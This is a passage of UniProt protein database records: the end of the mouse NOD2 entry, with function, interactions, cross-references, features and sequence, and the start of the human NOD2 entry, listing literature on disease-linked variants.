RT "The ubiquitin ligase XIAP recruits LUBAC for NOD2 signaling in
RT inflammation and innate immunity.";
RL Mol. Cell 46:746-758(2012).
CC -!- FUNCTION: Involved in gastrointestinal immunity. Upon stimulation
CC by muramyl dipeptide (MDP), a fragment of bacterial peptidoglycan,
CC binds the proximal adapter receptor-interacting RIPK2, which
CC recruits ubiquitin ligases as XIAP, BIRC2, BIRC3 and the LUBAC
CC complex, triggering activation of MAP kinases and activation of
CC NF-kappa-B signaling. This in turn leads to the transcriptional
CC activation of hundreds of genes involved in immune response
CC (PubMed:22607974). Required for MDP-induced NLRP1-dependent CASP1
CC activation and IL1B release in macrophages (PubMed:18511561).
CC {ECO:0000269|PubMed:18511561, ECO:0000269|PubMed:22607974}.
CC -!- SUBUNIT: Component of a signaling complex consisting of ARHGEF2,
CC NOD2 and RIPK2 (By similarity). Interacts (via CARD domain) with
CC RIPK2 (via CARD domain) (By similarity). Interacts with ATG16L1
CC (By similarity). Interacts (via NACHT domain) with CARD9
CC (PubMed:17187069). Interacts with ANKRD17 (via N-terminus) (By
CC similarity). Interacts with HSPA1A; the interaction enhances NOD2
CC stability (By similarity). Interacts (via both CARD domains) with
CC HSP90; the interaction enhances NOD2 stability (PubMed:23019338).
CC Interacts (via CARD domain) with SOCS3; the interaction promotes
CC NOD2 degradation (PubMed:23019338). Interacts (via CARD domain)
CC with ERBIN; the interaction inhibits activation of NOD2
CC (PubMed:16203728). Interacts (via CARD domain) with CASP1; this
CC interaction leads to IL1B processing (PubMed:18511561). Also
CC interacts with CASP4. Interacts with NLRP1; this interaction is
CC enhanced in the presence of muramyl dipeptide (MDP) and leads to
CC increased IL1B release (By similarity).
CC {ECO:0000250|UniProtKB:Q9HC29, ECO:0000269|PubMed:16203728,
CC ECO:0000269|PubMed:17187069, ECO:0000269|PubMed:18511561,
CC ECO:0000269|PubMed:23019338}.
CC -!- SUBCELLULAR LOCATION: Cytoplasm {ECO:0000250|UniProtKB:Q9HC29}.
CC Membrane {ECO:0000250|UniProtKB:Q9HC29}. Basolateral cell membrane
CC {ECO:0000250|UniProtKB:Q9HC29}.
CC -!- ALTERNATIVE PRODUCTS:
CC Event=Alternative splicing; Named isoforms=2;
CC Name=1;
CC IsoId=Q8K3Z0-1; Sequence=Displayed;
CC Name=2;
CC IsoId=Q8K3Z0-2; Sequence=VSP_007069, VSP_007070;
CC Note=No experimental confirmation available.;
CC -!- DOMAIN: The ATG16L1-binding motif mediates interaction with
CC ATG16L1. {ECO:0000250}.
CC -!- DOMAIN: Intramolecular interactions between the N-terminal moiety
CC and the leucine-rich repeats (LRR) may be important for
CC autoinhibition in the absence of activating signal. In the absence
CC of LRRs, the protein becomes a constitutive activator of CASP1
CC cleavage and proIL1B processing. {ECO:0000250|UniProtKB:Q9HC29}.
CC -!- PTM: Polyubiquitinated following MDP stimulation, leading to
CC proteasome-mediated degradation. {ECO:0000250|UniProtKB:Q9HC29}.
CC -!- SIMILARITY: Contains 2 CARD domains. {ECO:0000255|PROSITE-
CC ProRule:PRU00046}.
CC -!- SIMILARITY: Contains 10 LRR (leucine-rich) repeats. {ECO:0000305}.
CC -!- SIMILARITY: Contains 1 NACHT domain. {ECO:0000255|PROSITE-
CC ProRule:PRU00136}.
CC -!- SEQUENCE CAUTION:
CC Sequence=AAH44774.1; Type=Erroneous initiation; Evidence={ECO:0000305};
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DR EMBL; AF520774; AAM76073.1; -; mRNA.
DR EMBL; BC044774; AAH44774.1; ALT_INIT; mRNA.
DR UniGene; Mm.222633; -.
DR ProteinModelPortal; Q8K3Z0; -.
DR SMR; Q8K3Z0; 760-1012.
DR DIP; DIP-46115N; -.
DR IntAct; Q8K3Z0; 1.
DR STRING; 10090.ENSMUSP00000113773; -.
DR PhosphoSite; Q8K3Z0; -.
DR PaxDb; Q8K3Z0; -.
DR PRIDE; Q8K3Z0; -.
DR Ensembl; ENSMUST00000054324; ENSMUSP00000050538; ENSMUSG00000055994. [Q8K3Z0-2]
DR Ensembl; ENSMUST00000109634; ENSMUSP00000105262; ENSMUSG00000055994. [Q8K3Z0-1]
DR UCSC; uc009mrq.1; mouse. [Q8K3Z0-1]
DR MGI; MGI:2429397; Nod2.
DR eggNOG; KOG4308; Eukaryota.
DR eggNOG; ENOG410ZBX3; LUCA.
DR GeneTree; ENSGT00840000129782; -.
DR HOGENOM; HOG000113814; -.
DR HOVERGEN; HBG050792; -.
DR InParanoid; Q8K3Z0; -.
DR OMA; FDEFKFR; -.
DR OrthoDB; EOG091G01CG; -.
DR PhylomeDB; Q8K3Z0; -.
DR TreeFam; TF352118; -.
DR Reactome; R-MMU-168638; NOD1/2 Signaling Pathway.
DR Reactome; R-MMU-445989; TAK1 activates NFkB by phosphorylation and activation of IKKs complex.
DR Reactome; R-MMU-446652; Interleukin-1 signaling.
DR Reactome; R-MMU-450302; activated TAK1 mediates p38 MAPK activation.
DR Reactome; R-MMU-450321; JNK (c-Jun kinases) phosphorylation and activation mediated by activated human TAK1.
DR PRO; PR:Q8K3Z0; -.
DR Proteomes; UP000000589; Chromosome 8.
DR Bgee; ENSMUSG00000055994; -.
DR ExpressionAtlas; Q8K3Z0; baseline and differential.
DR GO; GO:0016323; C:basolateral plasma membrane; ISO:MGI.
DR GO; GO:0009986; C:cell surface; ISS:UniProtKB.
DR GO; GO:0005737; C:cytoplasm; ISS:UniProtKB.
DR GO; GO:0005856; C:cytoskeleton; ISS:UniProtKB.
DR GO; GO:0005829; C:cytosol; ISS:HGNC.
DR GO; GO:0005886; C:plasma membrane; ISS:HGNC.
DR GO; GO:0043234; C:protein complex; ISS:UniProtKB.
DR GO; GO:0031982; C:vesicle; ISS:HGNC.
DR GO; GO:0003779; F:actin binding; ISO:MGI.
DR GO; GO:0005524; F:ATP binding; IEA:UniProtKB-KW.
DR GO; GO:0050700; F:CARD domain binding; ISS:HGNC.
DR GO; GO:0016888; F:endodeoxyribonuclease activity, producing 5'-phosphomonoesters; IEA:InterPro.
DR GO; GO:0019899; F:enzyme binding; ISS:HGNC.
DR GO; GO:0030544; F:Hsp70 protein binding; ISO:MGI.
DR GO; GO:0051879; F:Hsp90 protein binding; ISO:MGI.
DR GO; GO:0032500; F:muramyl dipeptide binding; ISS:HGNC.
DR GO; GO:0042834; F:peptidoglycan binding; ISS:HGNC.
DR GO; GO:0019901; F:protein kinase binding; ISS:HGNC.
DR GO; GO:0002253; P:activation of immune response; IMP:MGI.
DR GO; GO:0035419; P:activation of MAPK activity involved in innate immune response; IDA:BHF-UCL.
DR GO; GO:0071225; P:cellular response to muramyl dipeptide; ISS:UniProtKB.
DR GO; GO:0071224; P:cellular response to peptidoglycan; IMP:MGI.
DR GO; GO:0002367; P:cytokine production involved in immune response; ISS:UniProtKB.
DR GO; GO:0002374; P:cytokine secretion involved in immune response; ISO:MGI.
DR GO; GO:0006952; P:defense response; TAS:HGNC.
DR GO; GO:0042742; P:defense response to bacterium; ISS:HGNC.
DR GO; GO:0050830; P:defense response to Gram-positive bacterium; IMP:MGI.
DR GO; GO:0016045; P:detection of bacterium; ISS:HGNC.
DR GO; GO:0009595; P:detection of biotic stimulus; TAS:HGNC.
DR GO; GO:0032498; P:detection of muramyl dipeptide; ISS:HGNC.
DR GO; GO:0002381; P:immunoglobulin production involved in immunoglobulin mediated immune response; IMP:MGI.
DR GO; GO:0006954; P:inflammatory response; TAS:HGNC.
DR GO; GO:0045087; P:innate immune response; ISS:UniProtKB.
DR GO; GO:0002227; P:innate immune response in mucosa; IMP:MGI.
DR GO; GO:0035556; P:intracellular signal transduction; ISS:UniProtKB.
DR GO; GO:0071608; P:macrophage inflammatory protein-1 alpha production; IMP:MGI.
DR GO; GO:0030277; P:maintenance of gastrointestinal epithelium; ISO:MGI.
DR GO; GO:0044130; P:negative regulation of growth of symbiont in host; IMP:MGI.
DR GO; GO:0002862; P:negative regulation of inflammatory response to antigenic stimulus; IMP:MGI.
DR GO; GO:0032689; P:negative regulation of interferon-gamma production; IMP:MGI.
DR GO; GO:0032695; P:negative regulation of interleukin-12 production; IDA:MGI.
DR GO; GO:0032701; P:negative regulation of interleukin-18 production; IMP:MGI.
DR GO; GO:0032703; P:negative regulation of interleukin-2 production; IMP:MGI.
DR GO; GO:2000110; P:negative regulation of macrophage apoptotic process; IDA:BHF-UCL.
DR GO; GO:0032088; P:negative regulation of NF-kappaB transcription factor activity; IMP:MGI.
DR GO; GO:0002710; P:negative regulation of T cell mediated immunity; IMP:MGI.
DR GO; GO:0034136; P:negative regulation of toll-like receptor 2 signaling pathway; IMP:MGI.
DR GO; GO:0032720; P:negative regulation of tumor necrosis factor production; IMP:MGI.
DR GO; GO:0070431; P:nucleotide-binding oligomerization domain containing 2 signaling pathway; ISS:UniProtKB.
DR GO; GO:0070423; P:nucleotide-binding oligomerization domain containing signaling pathway; TAS:Reactome.
DR GO; GO:0006963; P:positive regulation of antibacterial peptide biosynthetic process; IDA:MGI.
DR GO; GO:0050871; P:positive regulation of B cell activation; ISO:MGI.
DR GO; GO:0006965; P:positive regulation of biosynthetic process of antibacterial peptides active against Gram-positive bacteria; IMP:MGI.
DR GO; GO:1900017; P:positive regulation of cytokine production involved in inflammatory response; ISO:MGI.
DR GO; GO:0002606; P:positive regulation of dendritic cell antigen processing and presentation; IMP:BHF-UCL.
DR GO; GO:0050679; P:positive regulation of epithelial cell proliferation; IMP:BHF-UCL.
DR GO; GO:0070374; P:positive regulation of ERK1 and ERK2 cascade; IDA:BHF-UCL.
DR GO; GO:0002925; P:positive regulation of humoral immune response mediated by circulating immunoglobulin; IMP:MGI.
DR GO; GO:0043123; P:positive regulation of I-kappaB kinase/NF-kappaB signaling; ISS:HGNC.
DR GO; GO:0045089; P:positive regulation of innate immune response; IMP:MGI.
DR GO; GO:0032731; P:positive regulation of interleukin-1 beta production; ISO:MGI.
DR GO; GO:0050718; P:positive regulation of interleukin-1 beta secretion; ISS:UniProtKB.
DR GO; GO:0032733; P:positive regulation of interleukin-10 production; IMP:BHF-UCL.
DR GO; GO:0032735; P:positive regulation of interleukin-12 production; IDA:MGI.
DR GO; GO:0032740; P:positive regulation of interleukin-17 production; ISS:UniProtKB.
DR GO; GO:0032755; P:positive regulation of interleukin-6 production; IDA:MGI.
DR GO; GO:0032757; P:positive regulation of interleukin-8 production; ISO:MGI.
DR GO; GO:0046330; P:positive regulation of JNK cascade; IDA:MGI.
DR GO; GO:0043410; P:positive regulation of MAPK cascade; IMP:MGI.
DR GO; GO:0071639; P:positive regulation of monocyte chemotactic protein-1 production; IMP:UniProtKB.
DR GO; GO:0051092; P:positive regulation of NF-kappaB transcription factor activity; ISS:HGNC.
DR GO; GO:1901224; P:positive regulation of NIK/NF-kappaB signaling; IMP:MGI.
DR GO; GO:0051770; P:positive regulation of nitric-oxide synthase biosynthetic process; IMP:BHF-UCL.
DR GO; GO:0045747; P:positive regulation of Notch signaling pathway; IDA:BHF-UCL.
DR GO; GO:0051353; P:positive regulation of oxidoreductase activity; IDA:BHF-UCL.
DR GO; GO:0050731; P:positive regulation of peptidyl-tyrosine phosphorylation; IMP:MGI.
DR GO; GO:0050766; P:positive regulation of phagocytosis; IMP:MGI.
DR GO; GO:0043552; P:positive regulation of phosphatidylinositol 3-kinase activity; IMP:BHF-UCL.
DR GO; GO:2000363; P:positive regulation of prostaglandin-E synthase activity; IDA:BHF-UCL.
DR GO; GO:0060585; P:positive regulation of prostaglandin-endoperoxide synthase activity; IDA:BHF-UCL.
DR GO; GO:0031398; P:positive regulation of protein ubiquitination; IDA:UniProtKB.
DR GO; GO:0032874; P:positive regulation of stress-activated MAPK cascade; IDA:MGI.
DR GO; GO:0045944; P:positive regulation of transcription from RNA polymerase II promoter; ISS:UniProtKB.
DR GO; GO:0032760; P:positive regulation of tumor necrosis factor production; IDA:MGI.
DR GO; GO:0002830; P:positive regulation of type 2 immune response; ISS:BHF-UCL.
DR GO; GO:1904417; P:positive regulation of xenophagy; IMP:MGI.
DR GO; GO:0051259; P:protein oligomerization; TAS:HGNC.
DR GO; GO:0050727; P:regulation of inflammatory response; IMP:MGI.
DR GO; GO:0090022; P:regulation of neutrophil chemotaxis; IMP:MGI.
DR GO; GO:0043330; P:response to exogenous dsRNA; IMP:MGI.
DR GO; GO:0032496; P:response to lipopolysaccharide; IMP:MGI.
DR GO; GO:0032495; P:response to muramyl dipeptide; ISS:HGNC.
DR GO; GO:0032494; P:response to peptidoglycan; IDA:MGI.
DR GO; GO:0007165; P:signal transduction; TAS:HGNC.
DR Gene3D; 1.10.533.10; -; 2.
DR Gene3D; 3.80.10.10; -; 1.
DR InterPro; IPR001315; CARD.
DR InterPro; IPR011029; DEATH-like_dom.
DR InterPro; IPR018228; DNase_TatD-rel_CS.
DR InterPro; IPR032675; L_dom-like.
DR InterPro; IPR001611; Leu-rich_rpt.
DR InterPro; IPR007111; NACHT_NTPase.
DR InterPro; IPR027417; P-loop_NTPase.
DR Pfam; PF00619; CARD; 1.
DR Pfam; PF13516; LRR_6; 5.
DR SUPFAM; SSF47986; SSF47986; 2.
DR SUPFAM; SSF52540; SSF52540; 1.
DR PROSITE; PS50209; CARD; 2.
DR PROSITE; PS50837; NACHT; 1.
PE 1: Evidence at protein level;
KW Alternative splicing; ATP-binding; Cell membrane; Complete proteome;
KW Cytoplasm; Immunity; Innate immunity; Leucine-rich repeat; Membrane;
KW Nucleotide-binding; Reference proteome; Repeat; Ubl conjugation.
FT CHAIN 1 1020 Nucleotide-binding oligomerization
FT domain-containing protein 2.
FT /FTId=PRO_0000144091.
FT DOMAIN 6 104 CARD 1. {ECO:0000255|PROSITE-
FT ProRule:PRU00046}.
FT DOMAIN 106 200 CARD 2. {ECO:0000255|PROSITE-
FT ProRule:PRU00046}.
FT DOMAIN 273 600 NACHT. {ECO:0000255|PROSITE-
FT ProRule:PRU00136}.
FT REPEAT 685 709 LRR 1.
FT REPEAT 726 749 LRR 2.
FT REPEAT 766 792 LRR 3.
FT REPEAT 794 817 LRR 4.
FT REPEAT 822 845 LRR 5.
FT REPEAT 850 873 LRR 6.
FT REPEAT 906 929 LRR 7.
FT REPEAT 934 962 LRR 8.
FT REPEAT 963 985 LRR 9.
FT REPEAT 1005 1019 LRR 10.
FT REGION 221 254 Required for CARD9 binding.
FT {ECO:0000250|UniProtKB:Q9HC29}.
FT MOTIF 43 57 ATG16L1-binding motif.
FT VAR_SEQ 1 7 Missing (in isoform 2).
FT {ECO:0000303|PubMed:15489334}.
FT /FTId=VSP_007069.
FT VAR_SEQ 195 195 E -> EGYSLCRSRCDRGFTLICLFCIL (in isoform
FT 2). {ECO:0000303|PubMed:15489334}.
FT /FTId=VSP_007070.
FT VARIANT 212 212 T -> A (in strain: NMRI).
FT {ECO:0000269|PubMed:15489334}.
FT VARIANT 240 240 Q -> R (in strain: NMRI).
FT {ECO:0000269|PubMed:15489334}.
FT VARIANT 422 422 L -> C (in strain: NMRI; requires 2
FT nucleotide substitutions).
FT {ECO:0000269|PubMed:15489334}.
FT VARIANT 485 485 G -> V (in strain: NMRI).
FT {ECO:0000269|PubMed:15489334}.
FT VARIANT 603 603 V -> A (in strain: NMRI).
FT {ECO:0000269|PubMed:15489334}.
FT VARIANT 675 675 V -> I (in strain: NMRI).
FT {ECO:0000269|PubMed:15489334}.
FT VARIANT 925 925 E -> Q (in strain: NMRI).
FT {ECO:0000269|PubMed:15489334}.
SQ SEQUENCE 1020 AA; 113562 MW; 25504905ECF70FBB CRC64;
MRSSCCDMCS QEEFQAQRSQ LVALLISGSL EGFESILDWL LSWDVLSRED YEGLSLPGQP
LSHSARRLLD TVWNKGVWGC QKLLEAVQEA QANSHTFELY GSWDTHSLHP TRDLQSHRPA
IVRRLYNHVE AMLELAREGG FLSQYECEEI RLPIFTSSQR ARRLLDLAAV KANGLAAFLL
QHVRELPAPL PLPYEAAECQ KFISKLRTMV LTQSRFLSTY DGSENLCLED IYTENILELQ
TEVGTAGALQ KSPAILGLED LFDTHGHLNR DADTILVVGE AGSGKSTLLQ RLHLLWATGR
SFQEFLFIFP FSCRQLQCVA KPLSLRTLLF EHCCWPDVAQ DDVFQFLLDH PDRVLLTFDG
LDEFKFRFTD RERHCSPIDP TSVQTLLFNL LQGNLLKNAC KVLTSRPDAV SALLRKFVRT
ELQLKGFSEE GIQLYLRKHH REPGVADRLI QLIQATSALH GLCHLPVFSW MVSRCHRELL
LQNRGFPTTS TDMYLLILQH FLLHASPPDS SPLGLGPGLL QSRLSTLLHL GHLALRGLAM
SCYVFSAQQL QAAQVDSDDI SLGFLVRAQS SVPGSKAPLE FLHITFQCFF AAFYLAVSAD
TSVASLKHLF SCGRLGSSLL GRLLPNLCIQ GSRVKKGSEA ALLQKAEPHN LQITAAFLAG
LLSQQHRDLL AACQVSERVL LQRQARARSC LAHSLREHFH SIPPAVPGET KSMHAMPGFI
WLIRSLYEMQ EEQLAQEAVR RLDIGHLKLT FCRVGPAECA ALAFVLQHLQ RPVALQLDYN
SVGDVGVEQL RPCLGVCTAL YLRDNNISDR GARTLVECAL RCEQLQKLAL FNNKLTDACA
CSMAKLLAHK QNFLSLRVGN NHITAAGAEV LAQGLKSNTS LKFLGFWGNS VGDKGTQALA
EVVADHQNLK WLSLVGNNIG SMGAEALALM LEKNKSLEEL CLEENHICDE GVYSLAEGLK
RNSTLKFLKL SNNGITYRGA EALLQALSRN SAILEVWLRG NTFSLEEIQT LSSRDARLLL
//
ID NOD2_HUMAN Reviewed; 1040 AA.
AC Q9HC29; E2JEQ6; Q96RH5; Q96RH6; Q96RH8;
DT 31-JAN-2002, integrated into UniProtKB/Swiss-Prot.
DT 01-MAR-2001, sequence version 1.
DT 07-SEP-2016, entry version 166.
DE RecName: Full=Nucleotide-binding oligomerization domain-containing protein 2;
DE AltName: Full=Caspase recruitment domain-containing protein 15;
DE AltName: Full=Inflammatory bowel disease protein 1;
GN Name=NOD2; Synonyms=CARD15, IBD1;
OS Homo sapiens (Human).
OC Eukaryota; Metazoa; Chordata; Craniata; Vertebrata; Euteleostomi;
OC Mammalia; Eutheria; Euarchontoglires; Primates; Haplorrhini;
OC Catarrhini; Hominidae; Homo.
OX NCBI_TaxID=9606;
RN [1]
RP NUCLEOTIDE SEQUENCE [MRNA] (ISOFORMS 1 AND 2), MUTAGENESIS OF LYS-305,
RP AND VARIANT ARG-908.
RC TISSUE=Mammary gland;
RX PubMed=11087742; DOI=10.1074/jbc.M008072200;
RA Ogura Y., Inohara N., Benito A., Chen F.F., Yamaoka S., Nunez G.;
RT "Nod2, a Nod1/Apaf-1 family member that is restricted to monocytes and
RT activates NF-kappaB.";
RL J. Biol. Chem. 276:4812-4818(2001).
RN [2]
RP NUCLEOTIDE SEQUENCE [GENOMIC DNA] (ISOFORMS 1 AND 2), VARIANTS
RP THR-140; ARG-157; MET-189; CYS-235; ARG-248; SER-268; SER-289;
RP ASN-291; VAL-301; TRP-311; VAL-348; ARG-352; CYS-373; SER-414;
RP LEU-431; VAL-432; LYS-441; VAL-612; THR-612; TRP-684; TRP-702;
RP CYS-703; CYS-713; GLY-725; VAL-755; VAL-758; LYS-778; MET-793;
RP LYS-843; SER-853; VAL-863; THR-885; ARG-908; ASP-918; ASP-924 AND
RP ILE-955, AND INVOLVEMENT IN IBD1.
RC TISSUE=Leukocyte;
RX PubMed=11385576; DOI=10.1038/35079107;
RA Hugot J.-P., Chamaillard M., Zouali H., Lesage S., Cezard J.-P.,
RA Belaiche J., Almer S., Tysk C., O'Morain C.A., Gassull M., Binder V.,
RA Finkel Y., Cortot A., Modigliani R., Laurent-Puig P.,
RA Gower-Rousseau C., Macry J., Colombel J.-F., Sahbatou M., Thomas G.;
RT "Association of NOD2 leucine-rich repeat variants with susceptibility
RT to Crohn's disease.";
RL Nature 411:599-603(2001).
RN [3]
RP NUCLEOTIDE SEQUENCE [MRNA] (ISOFORM 3).
RX PubMed=20698950; DOI=10.1186/1756-0500-3-224;
RA Kramer M., Boeck J., Reichenbach D., Kaether C., Schreiber S.,
RA Platzer M., Rosenstiel P., Huse K.;
RT "NOD2-C2 - a novel NOD2 isoform activating NF-kappaB in a muramyl
RT dipeptide-independent manner.";
RL BMC Res. Notes 3:224-224(2010).
RN [4]
RP INTERACTION WITH ERBBI2P, AND SUBCELLULAR LOCATION.
RX PubMed=16203728; DOI=10.1074/jbc.M508538200;
RA McDonald C., Chen F.F., Ollendorff V., Ogura Y., Marchetto S.,
RA Lecine P., Borg J.P., Nunez G.;
RT "A role for Erbin in the regulation of Nod2-dependent NF-kappaB
RT signaling.";
RL J. Biol. Chem. 280:40301-40309(2005).
RN [5]
RP FUNCTION, INTERACTION WITH CASP1; CASP4 AND NLRP1, AUTOINHIBITION, AND
RP DOMAIN.
RX PubMed=18511561; DOI=10.1073/pnas.0802726105;
RA Hsu L.C., Ali S.R., McGillivray S., Tseng P.H., Mariathasan S.,
RA Humke E.W., Eckmann L., Powell J.J., Nizet V., Dixit V.M., Karin M.;
RT "A NOD2-NALP1 complex mediates caspase-1-dependent IL-1beta secretion
RT in response to Bacillus anthracis infection and muramyl dipeptide.";
RL Proc. Natl. Acad. Sci. U.S.A. 105:7803-7808(2008).
RN [6]
RP INTERACTION WITH RIPK2.
RX PubMed=19592251; DOI=10.1016/j.cub.2009.06.038;
RA Tao M., Scacheri P.C., Marinis J.M., Harhaj E.W., Matesic L.E.,
RA Abbott D.W.;
RT "ITCH K63-ubiquitinates the NOD2 binding protein, RIP2, to influence
RT inflammatory signaling pathways.";
RL Curr. Biol. 19:1255-1263(2009).
RN [7]
RP IDENTIFICATION IN A COMPLEX WITH ARHGEF2 AND RIPK2, AND INTERACTION
RP WITH RIPK2.
RX PubMed=21887730; DOI=10.1002/ibd.21851;
RA Zhao Y., Alonso C., Ballester I., Song J.H., Chang S.Y., Guleng B.,
RA Arihiro S., Murray P.J., Xavier R., Kobayashi K.S., Reinecker H.C.;
RT "Control of NOD2 and Rip2-dependent innate immune activation by GEF-
RT H1.";
RL Inflamm. Bowel Dis. 18:603-612(2012).
RN [8]
RP INTERACTION WITH HSP90 AND SOCS3, AND POLYUBIQUITINATION.
RX PubMed=23019338; DOI=10.1074/jbc.M112.410027;
RA Lee K.H., Biswas A., Liu Y.J., Kobayashi K.S.;
RT "Proteasomal degradation of Nod2 protein mediates tolerance to
RT bacterial cell wall components.";
RL J. Biol. Chem. 287:39800-39811(2012).
RN [9]
RP INTERACTION WITH ATG16L1.
RX PubMed=23376921; DOI=10.1038/emboj.2013.8;
RA Boada-Romero E., Letek M., Fleischer A., Pallauf K., Ramon-Barros C.,
RA Pimentel-Muinos F.X.;
RT "TMEM59 defines a novel ATG16L1-binding motif that promotes local
RT activation of LC3.";
RL EMBO J. 32:566-582(2013).
RN [10]
RP INTERACTION WITH ANKRD17.
RX PubMed=23711367; DOI=10.1016/j.febslet.2013.05.037;
RA Menning M., Kufer T.A.;
RT "A role for the Ankyrin repeat containing protein Ankrd17 in Nod1- and
RT Nod2-mediated inflammatory responses.";
RL FEBS Lett. 587:2137-2142(2013).
RN [11]
RP FUNCTION.
RX PubMed=23806334; DOI=10.1016/j.molcel.2013.06.004;
RA Fiil B.K., Damgaard R.B., Wagner S.A., Keusekotten K., Fritsch M.,
RA Bekker-Jensen S., Mailand N., Choudhary C., Komander D.,
RA Gyrd-Hansen M.;
RT "OTULIN restricts Met1-linked ubiquitination to control innate immune
RT signaling.";
RL Mol. Cell 50:818-830(2013).
RN [12]
RP INTERACTION WITH CARD9, VARIANTS ALA-357; PHE-363; ALA-463 AND
RP VAL-550, CHARACTERIZATION OF VARIANTS ARG-248; ALA-357; PHE-363;
RP LEU-431; LYS-441; ALA-463; VAL-550; VAL-612 AND TRP-702,
RP CHARACTERIZATION OF VARIANT BS TRP-334, AND MUTAGENESIS OF ASP-379.
RX PubMed=24960071; DOI=10.1016/j.febslet.2014.06.035;
RA Parkhouse R., Boyle J.P., Mayle S., Sawmynaden K., Rittinger K.,
RA Monie T.P.;
RT "Interaction between NOD2 and CARD9 involves the NOD2 NACHT and the
RT linker region between the NOD2 CARDs and NACHT domain.";
RL FEBS Lett. 588:2830-2836(2014).
RN [13]
RP SUBCELLULAR LOCATION, CHARACTERIZATION OF VARIANTS BLAUS GLN-334;
RP TRP-334; LYS-383; PHE-469 AND ASN-605, CHARACTERIZATION OF VARIANTS
RP EOS ASP-481; LEU-496; THR-513; PRO-605 AND LYS-670, AND
RP CHARACTERIZATION OF VARIANTS GLY-383; CYS-471; LEU-490; TYR-495 AND
RP CYS-587.
RX PubMed=25093298; DOI=10.1016/j.febslet.2014.07.029;
RA Parkhouse R., Boyle J.P., Monie T.P.;
RT "Blau syndrome polymorphisms in NOD2 identify nucleotide hydrolysis
RT and helical domain 1 as signalling regulators.";
RL FEBS Lett. 588:3382-3389(2014).
RN [14]
RP INTERACTION WITH HSPA1A, SUBCELLULAR LOCATION, AND CHARACTERIZATION OF
RP VARIANTS TRP-702 AND ARG-908.
RX PubMed=24790089; DOI=10.1074/jbc.M114.557686;
RA Mohanan V., Grimes C.L.;
RT "The molecular chaperone HSP70 binds to and stabilizes NOD2, an
RT important protein involved in Crohn disease.";
RL J. Biol. Chem. 289:18987-18998(2014).
RN [15]
RP VARIANTS BLAUS GLN-334; TRP-334 AND PHE-469.
RX PubMed=11528384; DOI=10.1038/ng720;
RA Miceli-Richard C., Lesage S., Rybojad M., Prieur A.M.,
RA Manouvrier-Hanu S., Hafner R., Chamaillard M., Zouali H., Thomas G.,
RA Hugot J.-P.;
RT "CARD15 mutations in Blau syndrome.";
RL Nat. Genet. 29:19-20(2001).
RN [16]
RP VARIANTS ASN-113; ALA-357; PHE-363; VAL-550 AND SER-852.
RX PubMed=15024686; DOI=10.1086/382226;
RA Tukel T., Shalata A., Present D., Rachmilewitz D., Mayer L., Grant D.,
RA Risch N., Desnick R.J.;
RT "Crohn disease: frequency and nature of CARD15 mutations in Ashkenazi
RT and Sephardi/Oriental Jewish families.";
RL Am. J. Hum. Genet. 74:623-636(2004).
RN [17]
RP VARIANTS EOS TRP-334; GLU-382; LEU-496; THR-513; PRO-605; THR-612 AND
RP LYS-670, AND CHARACTERIZATION OF VARIANTS EOS GLU-382; LEU-496;
RP THR-513; PRO-605 AND LYS-670.
RX PubMed=15459013; DOI=10.1182/blood-2004-07-2972;
RA Kanazawa N., Okafuji I., Kambe N., Nishikomori R., Nakata-Hizume M.,
RA Nagai S., Fuji A., Yuasa T., Manki A., Sakurai Y., Nakajima M.,
RA Kobayashi H., Fujiwara I., Tsutsumi H., Utani A., Nishigori C.,
RA Heike T., Nakahata T., Miyachi Y.;
RT "Early-onset sarcoidosis and CARD15 mutations with constitutive
RT nuclear factor-kappaB activation: common genetic etiology with Blau
RT syndrome.";
RL Blood 105:1195-1197(2005).
RN [18]
RP VARIANT BLAUS LYS-383.
RX PubMed=15812565; DOI=10.1038/sj.ejhg.5201404;
RA van Duist M.M., Albrecht M., Podswiadek M., Giachino D., Lengauer T.,
RA Punzi L., De Marchi M.;
RT "A new CARD15 mutation in Blau syndrome.";
RL Eur. J. Hum. Genet. 13:742-747(2005).
RN [19]
RP VARIANTS SER-268; SER-289; TRP-311; CYS-391; ALA-463; CYS-703;
RP HIS-713; CYS-760; TRP-790; TRP-791; LYS-825 AND VAL-849.
RX PubMed=16485124; DOI=10.1007/s00251-005-0073-2;
RA Schnitzler F., Brand S., Staudinger T., Pfennig S., Hofbauer K.,
RA Seiderer J., Tillack C., Goke B., Ochsenkuhn T., Lohse P.;
RT "Eight novel CARD15 variants detected by DNA sequence analysis of the
RT CARD15 gene in 111 patients with inflammatory bowel disease.";
RL Immunogenetics 58:99-106(2006).
RN [20]
RP VARIANTS BLAUS GLN-334; TRP-334; LYS-383; LEU-490; TYR-495 AND
RP CYS-587.
RX PubMed=19479837; DOI=10.1002/art.24533;
RA Rose C.D., Arostegui J.I., Martin T.M., Espada G., Scalzi L.,
RA Yague J., Rosenbaum J.T., Modesto C., Cristina Arnal M., Merino R.,
RA Garcia-Consuegra J., Carballo Silva M.A., Wouters C.H.;
RT "NOD2-associated pediatric granulomatous arthritis, an expanding
RT phenotype: study of an international registry and a national cohort in
RT Spain.";
RL Arthritis Rheum. 60:1797-1803(2009).
RN [21]
RP VARIANT GLY-383, VARIANTS BLAUS GLN-334; TRP-334 AND TYR-495, AND
RP VARIANTS EOS GLU-382; LEU-496; THR-513; PRO-605 AND LYS-670.
RX PubMed=19116920; DOI=10.1002/art.24134;
RA Okafuji I., Nishikomori R., Kanazawa N., Kambe N., Fujisawa A.,
RA Yamazaki S., Saito M., Yoshioka T., Kawai T., Sakai H., Tanizaki H.,
RA Heike T., Miyachi Y., Nakahata T.;
RT "Role of the NOD2 genotype in the clinical phenotype of Blau syndrome
RT and early-onset sarcoidosis.";
RL Arthritis Rheum. 60:242-250(2009).
RN [22]
RP VARIANT EOS ASP-481.
RX PubMed=19359344; DOI=10.1093/rheumatology/kep061;
RA Okada S., Konishi N., Tsumura M., Shirao K., Yasunaga S., Sakai H.,
RA Nishikomori R., Takihara Y., Kobayashi M.;
RT "Cardiac infiltration in early-onset sarcoidosis associated with a
RT novel heterozygous mutation, G481D, in CARD15.";
RL Rheumatology 48:706-707(2009).
RN [23]
RP VARIANT BLAUS ASN-605.
RX PubMed=19169908; DOI=10.1080/03009740802464194;
RA Milman N., Ursin K., Rodevand E., Nielsen F.C., Hansen T.V.;
RT "A novel mutation in the NOD2 gene associated with Blau syndrome: a
RT Norwegian family with four affected members.";
RL Scand. J. Rheumatol. 38:190-197(2009).
RN [24]
RP VARIANT BLAUS TRP-334.
RX PubMed=20199415; DOI=10.1111/j.1525-1470.2009.01060.x;
RA Stoevesandt J., Morbach H., Martin T.M., Zierhut M., Girschick H.,
RA Hamm H.;
